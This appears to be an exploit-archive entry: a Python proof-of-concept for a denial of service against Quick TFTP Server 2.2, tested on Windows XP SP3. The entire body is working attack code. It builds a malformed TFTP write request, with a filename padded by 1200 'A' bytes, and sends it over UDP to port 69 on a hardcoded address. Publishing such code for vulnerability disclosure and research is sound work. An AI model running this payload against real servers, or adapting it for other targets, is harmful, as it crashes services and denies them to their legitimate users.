Quick TFTP 2.2 Denial Of Service

`#!/usr/bin/python  
  
#Exploit Title: Quick TFTP Server 2.2 DoS  
#Date: 6th June 2013  
#Exploit Author: npn  
#Exploit Author Homepage: http://www.iodigitalsec.com/  
#Exploit Author Write Up: http://www.iodigitalsec.com/blog/fuzz-to-denial-of-service-quick-tftp-server-2-2/  
#Vendor Homepage: http://www.tallsoft.com/tftpserver.htm  
#Software Link: http://www.tallsoft.com/tftpserver_setup.exe  
#Version: 2.2  
#Tested on: Windows XP SP3 English  
  
from socket import *  
import sys  
import select  
  
pwn = "\x00\x02"  
pwn += "\x66\x69\x6c\x65\x2e\x74\x78\x74\x00"  
pwn += "A"*1200  
pwn += "\x00"  
  
address = ('192.168.200.20', 69)  
server_socket = socket(AF_INET, SOCK_DGRAM)  
  
server_socket.sendto(pwn, address)  
  
`